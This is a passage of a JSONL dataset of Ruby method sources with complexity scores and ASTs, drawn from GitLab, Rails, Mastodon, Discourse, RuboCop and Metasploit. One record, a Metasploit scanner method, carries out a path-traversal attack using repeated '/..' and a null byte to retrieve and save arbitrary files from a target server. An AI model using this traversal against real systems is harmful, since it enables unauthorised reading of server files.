end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"annotate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@entry\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"entry\",{\"type\":\"ivar\",\"children\":[\"@path\"]},{\"type\":\"ivar\",\"children\":[\"@rev\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@entry\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"show_error_not_found\"]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@annotate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"scm\"]},\"annotate\",{\"type\":\"ivar\",\"children\":[\"@path\"]},{\"type\":\"ivar\",\"children\":[\"@rev\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@changeset\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"find_changeset_by_name\",{\"type\":\"ivar\",\"children\":[\"@rev\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"annotate\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]}]}]}]}]}]}]}","id":"5b11f1ce-b051-4726-9672-963d4be8c939"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/s40_traversal.rb","start_line":50,"raw_source":"def run_host(ip)\n    uri = target_uri.path\n    uri << '/' if uri[-1, 1] != '/'\n\n    t = \"/..\" * datastore['DEPTH']\n\n    vprint_status(\"Retrieving #{datastore['FILE']}\")\n\n    # No permission to access.log or proc/self/environ, so this is all we do :-/\n    uri = normalize_uri(uri, 'index.php')\n    res = send_request_raw({\n      'method' => 'GET',\n      'uri' => \"#{uri}/?p=#{t}#{datastore['FILE']}%00\"\n    })\n\n    if not res\n      vprint_error(\"Server timed out\")\n    elsif res and res.body =~ /Error 404 requested page cannot be found/\n      vprint_error(\"Either the file doesn't exist, or you don't have the permission to get it\")\n    else\n      # We don't save the body by default, because there's also other junk in it.\n      # But we still have a SAVE option just in case\n      print_good(\"#{datastore['FILE']} retrieved\")\n      vprint_line(res.body)\n\n      if datastore['SAVE']\n        p = store_loot(\n          's40.file',\n          'application/octet-stream',\n          rhost,\n          res.body,\n          ::File.basename(datastore['FILE'])\n        )\n        print_good(\"File saved as: #{p}\")\n      end\n    end\n  end","complexity_score":55.35,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/..\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DEPTH\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Retrieving \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILE\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\"/?p=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILE\"]}]}]},{\"type\":\"str\",\"children\":[\"%00\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Server timed out\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Error 404 requested page cannot be found\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Either the file doesn't exist, or you don't have the permission to get it\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILE\"]}]}]},{\"type\":\"str\",\"children\":[\" retrieved\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SAVE\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"s40.file\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILE\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File saved as: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]},null]}]}]}]}]}]}","id":"2ab19e2a-0a76-4944-a6f1-8b004338b886"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git_access.rb","start_line":111,"raw_source":"def deploy_key_can_download_code?\n      authentication_abilities.include?(:download_code) &&\n        deploy_key? &&\n        deploy_key.has_access_to?(container) &&\n        (project? && repository_access_level != ::Featurable::DISABLED)\n    end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"deploy_key_can_download_code?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authentication_abilities\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"download_code\"]}]},{\"type\":\"send\",\"children\":[null,\"deploy_key?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deploy_key\"]},\"has_access_to?\",{\"type\":\"send\",\"children\":[null,\"container\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository_access_level\"]},\"!=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Featurable\"]},\"DISABLED\"]}]}]}]}]}]}","id":"96e9fc43-e9eb-459b-ac1a-c8bda190c166"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/graphql/resolvers/group_labels_resolver_spec.rb","start_line":130,"raw_source":"def resolve_labels(parent, args = {}, context = { current_user: current_user })\n    resolve(described_class, obj: parent, args: args, ctx: context)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_labels\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"resolve\",{\"type\":\"send\",\"children\":[null,\"described_class\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"obj\"]},{\"type\":\"lvar\",\"children\":[\"parent\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ctx\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}]}","id":"a105ff29-64f5-449b-9271-9a06763f119c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":807,"raw_source":"def test_eager_association_loading_with_habtm\n    posts = Post.all.merge!(includes: :categories, order: \"posts.id\").to_a\n    assert_equal 2, posts[0].categories.size\n    assert_equal 1, posts[1].categories.size\n    assert_equal 0, posts[2].categories.size\n    assert_includes posts[0].categories, categories(:technology)\n    assert_includes posts[1].categories, categories(:general)\n  end","complexity_score":31.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_association_loading_with_habtm\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"sym\",\"children\":[\"categories\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"str\",\"children\":[\"posts.id\"]}]}]}]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"categories\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"categories\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"categories\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"categories\"]},{\"type\":\"send\",\"children\":[null,\"categories\",{\"type\":\"sym\",\"children\":[\"technology\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"categories\"]},{\"type\":\"send\",\"children\":[null,\"categories\",{\"type\":\"sym\",\"children\":[\"general\"]}]}]}]}]}","id":"6f46f42e-f16b-4866-a62a-e8aef82a5bfb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/operation_service.rb","start_line":13,"raw_source":"def initialize(repository)\n        @gitaly_repo = repository.gitaly_repository\n        @repository = repository\n\n        self.repository_actor = repository\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@gitaly_repo\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"gitaly_repository\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@repository\",{\"type\":\"lvar\",\"children\":[\"repository\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"repository_actor=\",{\"type\":\"lvar\",\"children\":[\"repository\"]}]}]}]}","id":"9dfb0149-bd5e-4f77-93b5-979e182520d1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/pages_domain.rb","start_line":245,"raw_source":"def pages_deployed?\n    project&.pages_deployed?\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"pages_deployed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"pages_deployed?\"]}]}","id":"14d3e3cc-584f-4cf5-869a-42dd069ff067"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/api.rb","start_line":275,"raw_source":"def each\n      initial_size = size\n      deleted_size = 0\n      page = 0\n      page_size = 50\n\n      loop do\n        range_start = page * page_size - deleted_size\n        range_end = range_start + page_size - 1\n        entries = Sidekiq.redis { |conn|\n          conn.lrange @rname, range_start, range_end\n        }\n        break if entries.empty?\n        page += 1\n        entries.each do |entry|\n          yield JobRecord.new(entry, @name)\n        end\n        deleted_size = initial_size - size\n      end\n    end","complexity_score":34.05,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"initial_size\",{\"type\":\"send\",\"children\":[null,\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"deleted_size\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"page\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"page_size\",{\"type\":\"int\",\"children\":[50]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range_start\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"page_size\"]}]},\"-\",{\"type\":\"lvar\",\"children\":[\"deleted_size\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"range_end\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range_start\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"page_size\"]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"entries\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"lrange\",{\"type\":\"ivar\",\"children\":[\"@rname\"]},{\"type\":\"lvar\",\"children\":[\"range_start\"]},{\"type\":\"lvar\",\"children\":[\"range_end\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"empty?\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"page\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JobRecord\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"entry\"]},{\"type\":\"ivar\",\"children\":[\"@name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"deleted_size\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"initial_size\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"size\"]}]}]}]}]}]}]}","id":"8e50f3bc-2d73-45ef-993b-7a8c7792b8ab"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/array_literal_in_regexp.rb","start_line":67,"raw_source":"def array_of_literal_values?(node)\n          node.each_value.all? { |value| value.type?(*LITERAL_TYPES) }\n        end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"array_of_literal_values?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"each_value\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"type?\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LITERAL_TYPES\"]}]}]}]}]}","id":"c2126656-4a67-48bd-80a5-c697db38d0df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/create_service.rb","start_line":98,"raw_source":"def add_members\n      @members = creator_service.add_members(\n        source, invites, params[:access_level], **create_params\n      )\n\n      members.each { |member| process_result(member) }\n    end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"add_members\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@members\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"creator_service\"]},\"add_members\",{\"type\":\"send\",\"children\":[null,\"source\"]},{\"type\":\"send\",\"children\":[null,\"invites\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"access_level\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_params\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"members\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[null,\"process_result\",{\"type\":\"lvar\",\"children\":[\"member\"]}]}]}]}]}","id":"69258c72-2d95-4df6-8636-10e86de7c3e7"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/accounts/endorsements_controller.rb","start_line":18,"raw_source":"def create\n    AccountPin.find_or_create_by!(account: current_account, target_account: @account)\n    render json: @account, serializer: REST::RelationshipSerializer, relationships: relationships_presenter\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AccountPin\"]},\"find_or_create_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[null,\"current_account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_account\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REST\"]},\"RelationshipSerializer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relationships\"]},{\"type\":\"send\",\"children\":[null,\"relationships_presenter\"]}]}]}]}]}]}","id":"719e531f-fe2f-4e23-ae54-e0ba40b1bffb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/user.rb","start_line":35,"raw_source":"def to_gitaly\n        Gitaly::User.new(gl_username: username, gl_id: gl_id, name: name.b, email: email.b, timezone: timezone)\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"to_gitaly\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"User\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gl_username\"]},{\"type\":\"send\",\"children\":[null,\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gl_id\"]},{\"type\":\"send\",\"children\":[null,\"gl_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"b\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email\"]},\"b\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timezone\"]},{\"type\":\"send\",\"children\":[null,\"timezone\"]}]}]}]}]}","id":"2b38bf3d-ab0f-4e59-a1ce-f98b4fb474be"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/imap/providers/gmail.rb","start_line":144,"raw_source":"def msg_att(n)\n            match(T_LPAR)\n            attr = {}\n            while true\n              token = lookahead\n              case token.symbol\n              when T_RPAR\n                shift_token\n                break\n              when T_SPACE\n                shift_token\n                next\n              end\n              case token.value\n              when /\\A(?:ENVELOPE)\\z/ni\n                name, val = envelope_data\n              when /\\A(?:FLAGS)\\z/ni\n                name, val = flags_data\n              when /\\A(?:INTERNALDATE)\\z/ni\n                name, val = internaldate_data\n              when /\\A(?:RFC822(?:\\.HEADER|\\.TEXT)?)\\z/ni\n                name, val = rfc822_text\n              when /\\A(?:RFC822\\.SIZE)\\z/ni\n                name, val = rfc822_size\n              when /\\A(?:BODY(?:STRUCTURE)?)\\z/ni\n                name, val = body_data\n              when /\\A(?:UID)\\z/ni\n                name, val = uid_data\n              when /\\A(?:MODSEQ)\\z/ni\n                name, val = modseq_data\n\n                # Adding support for GMail extended attributes.\n              when /\\A(?:X-GM-LABELS)\\z/ni\n                name, val = label_data\n              when /\\A(?:X-GM-MSGID)\\z/ni\n                name, val = uid_data\n              when /\\A(?:X-GM-THRID)\\z/ni\n                name, val = uid_data\n                # End custom support for Gmail.\n              else\n                parse_error(\"unknown attribute `%s' for {%d}\", token.value, n)\n              end\n              attr[name] = val\n            end\n            attr\n          end","complexity_score":95.5,"ast_json":"{\"type\":\"def\",\"children\":[\"msg_att\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"match\",{\"type\":\"const\",\"children\":[null,\"T_LPAR\"]}]},{\"type\":\"lvasgn\",\"children\":[\"attr\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"while\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[null,\"lookahead\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"symbol\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"T_RPAR\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shift_token\"]},{\"type\":\"break\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"T_SPACE\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shift_token\"]},{\"type\":\"next\",\"children\":[]}]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"value\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(?:ENVELOPE)\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"n\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"envelope_data\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(?:FLAGS)\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"n\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"flags_data\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(?:INTERNALDATE)\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"n\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"internaldate_data\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(?:RFC822(?:\\\\.HEADER|\\\\.TEXT)?)\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"n\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"rfc822_text\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(?:RFC822\\\\.SIZE)\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"n\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"rfc822_size\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(?:BODY(?:STRUCTURE)?)\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"n\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"m